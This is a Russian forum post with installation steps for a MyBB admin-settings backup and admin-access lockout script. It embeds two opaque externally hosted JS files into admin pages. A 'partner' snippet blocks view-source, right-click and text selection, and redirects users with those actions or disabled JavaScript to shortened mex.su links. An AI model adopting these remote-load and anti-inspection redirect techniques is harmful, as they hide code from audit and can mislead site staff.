Установка
скрипта Автосохранения Стиля и Админ-Настроек(окон HTML верх и низ)
1. Идём в Администрирование - Настройки и выставляем
Свернутый текст
Время переадресации - 1
2. Идем в Администрирование - Группы - группа модераторы - редактировать
и выставляем
3. Заходим в Администрирование - форумы - создаём два форума:
Свернутый текст
Бекапы Стилей и Настроек
Напоминалка для Админки
Далее редактируем оба форума и оставляем галку только на просмотр для модераторов
Скриншоты: http://s4.uploads.ru/NE9uX.jpg
4. В форуме Бекапы Стилей и Настроек создаём две темы:
Сохраненные Окна НТМЛ верх и HTML низ [1]
Сохраненные Окна Стиля [1]
по клику на тему в форуме определяем ID каждой темы
(номер в конце названия меняете при создании новой аналогичной темы, когда заполниться текущая)
Свернутый текст
(цифра в конце адреса, пример:
http://premod.mybb.ru/viewtopic.php?id=74
http://premod.mybb.ru/viewtopic.php?id=73
5. Создаём тему Стикер - Напоминалка в форуме Напоминалка для Админки
Свернутый текст
и считываем ID первого собщения в теме( по клику на дату в сообщении)
пример: http://premod.mybb.ru/viewtopic.php?id=75#p622
6. Запомненные ID вставляем в код скрипта,
Сам скрипт вставляем в Администрование - Настройки, в самый верх HTML верх:
<!-- В САМОЕ НАЧАЛО HTML верх! => Скрипт автосохранение Админ-Настроек и Стиля(1-2 sc) -->
<script data="1" type="text/javascript" src="https://forumstatic.ru/files/0010/b4/f8/93448.js"></script>
<script data="2" type="text/javascript" src="https://forumstatic.ru/files/0010/b4/f8/77767.js"></script>
<script type="text/javascript"> //Автосохранение в Темах:
admin_Pages.backupOptions_Temaid = 74; //ID темы сохранения Админ Настроек;
admin_Pages.backupStyle_Temaid = 73; //ID темы сохранения Окон Стиля;
admin_Pages.StickerPostid = 622; //ID первого сообщения в теме "Стикер - Напоминалка";
admin_Pages.setAdminBackup ();
</script>
ВНИМАНИЕ!, - Данное дополнение в "Свой стиль", блокирующее попытки входа в Админку админ состава без допуска в оную,
( Код ниже) ставим только в самом конце!!!
После тестирования Автосохранения и записи в Стикер - Напоминалку!
Ни в коем случае не ставить до установки Скрипта!
7. Те, кто имеет собственный стиль на форуме, могут подстраховаться для поддержки Варианта с ограничением доступа в Админку, установкой в конец второго окна стиля такого кода:
/* BACKUP - SCRIPT */
.punbb.punbb-admin{
/*opacity:0;*/
max-height:0;overflow:hidden;
display:none!ie;
}
.punbb.punbb-admin #pun-about:after {
content: " ";
width:100%;
height:100%;
float:none;
display:block;
position:fixed;
z-index: 10000;
background: #6B7178 url(http://s4.uploads.ru/Qy18N.png) 50% 39% no-repeat;
left:0;
bottom:0;
text-align:center;
/*border:red solid 1px;*/
color: #174893;
font: normal normal 400 11.7px/normal "Times New Roman";!important;
}
Порядок снятия скрипта! /!ТОЛЬКО В ДАННОЙ ПОСЛЕДОВАТЕЛЬНОСТИ И ТОЛЬКО ДЛЯ ГЛАВ.АДМИНА!/
Актуально при установке доп. стиля поддержки Ограничения Доступа(во второе Окно стиля) и, при возможной поддержке скрипта Партнеркой!
1. Идём в Админку - Администрирование - Свой стиль - удаляем код стиля (см п.7)
2. Идём в свой Профиль - Персональный и в поле: Интересы вставляем такой тег: !noscript
3. Удаляем из HTML верх (Администрирование - Настройки) код скрипта.
для Партнёрских сервисов - (пояснения не для пользователей скрипта)
Код поддержки скрипта для Партнёрок:
В Начало Скриптов Партнёрки(код действует только на Админ странице)
Свернутый текст
<noscript><meta http-equiv="refresh" content="0;URL=http://mex.su/kYE3n" /></noscript>
<script type="text/javascript">
if(window.name!=='adm_iframe' && $(".punbb.punbb-admin").length){
function getcookie (a) { var b = new RegExp(a+'=([^;]){1,}'),c = b.exec(document.cookie);if(c)c=c[0].split('=');else return false;return c[1]?c[1]:false;}
var a = getcookie('supportTOpartner'), b = window.localStorage&&localStorage.getItem('supportTOpartner');
if(a||b){
if('\v'!='v'){document.body.addEventListener('keydown', function (e) {var url = 'http://mex.su/mXMzv'
if ((e.keyCode === 85) && (e.ctrlKey)){setTimeout(function () {window.location.replace(url)},100);e.preventDefault()}
});$("body").empty();}
$("html>head").find('link[rel="stylesheet"]').attr('disabled',true);$("#pun").hide();
$("html>head").append('<style>html,body{padding:0;margin:0;width:100%;height:100%;background: #6B7178 url(http://s4.uploads.ru/Qy18N.png) 50% 39% no-repeat!important;}</style>');
document.ondragstart=document.onselectstart=document.oncontextmenu = function(){setTimeout(function(){window.location.replace('http://mex.su/ciRBq')},100);return false;}
document.oncontextmenu; if('\v'!='v')dom.event.contextmenu.enabled;
}
} else{if(window.name=='adm_iframe')document.write('<style>.punbb.punbb-admin #pun-about:after{display:none!important;background:none!important;content:none}\
.punbb.punbb-admin{display:block!important;max-height:none!important;overflow:visible;opacity:1.0;}</style>');}
</script>
Код зелёным(защита от отключения ява скрипт в браузере) - устанавливаем отдельным тегом, яваскрипт же можно дописать в конец партнёрских скриптов, (которые Выше пользователького HTML верх)
Некоторые Пояснения к использованию скрипта Автосохранения Стиля и Админ-Настроек:
1. Доступ к редактированияю Стикера - Напоминалки для модераторов, - получают только модераторы этого форума Напоминалка для Админки,(админы все имеют доступ к записи Стикера!
2. Доступ в Админку может устанавливать лишь глав админ форума.
3 При неполадках - сначала отключаем скрипт см. Порядок снятия скрипта
Тестируем!
При проблемах, отписываемся в этой теме...
Отредактировано Deff (Вс, 9 Мар 2014 16:50:23)